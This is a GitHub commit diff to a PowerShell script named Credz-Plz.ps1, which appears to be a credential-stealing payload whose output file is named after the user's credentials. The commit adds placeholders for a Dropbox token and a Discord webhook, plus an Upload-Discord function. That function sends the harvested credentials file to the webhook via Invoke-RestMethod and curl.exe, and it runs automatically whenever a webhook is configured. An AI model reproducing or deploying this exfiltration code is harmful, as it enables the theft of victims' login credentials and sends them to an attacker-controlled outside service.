Update Credz-Plz.ps1

This commit is contained in:
I-Am-Jakoby 2022-12-18 22:10:08 -06:00 committed by GitHub
parent 41d214067a
commit 65156a7a2d
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -34,8 +34,11 @@
#------------------------------------------------------------------------------------------------------------------------------------
# This is for if you want to host your own version of the script
# $db = "YOUR-DROPBOX-ACCESS-TOKEN"
# $dc = "YOUR-DISCORD-WEBHOOK"
#------------------------------------------------------------------------------------------------------------------------------------
$FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt"
@ -163,6 +166,33 @@ if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $env:TMP\$FileName}
#------------------------------------------------------------------------------------------------------------------------------------
function Upload-Discord {
[CmdletBinding()]
param (
[parameter(Position=0,Mandatory=$False)]
[string]$file,
[parameter(Position=1,Mandatory=$False)]
[string]$text
)
$hookurl = "$dc"
$Body = @{
'username' = $env:username
'content' = $text
}
if (-not ([string]::IsNullOrEmpty($text))){
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
}
if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file $env:TMP\$FileName}
#------------------------------------------------------------------------------------------------------------------------------------
<#
.NOTES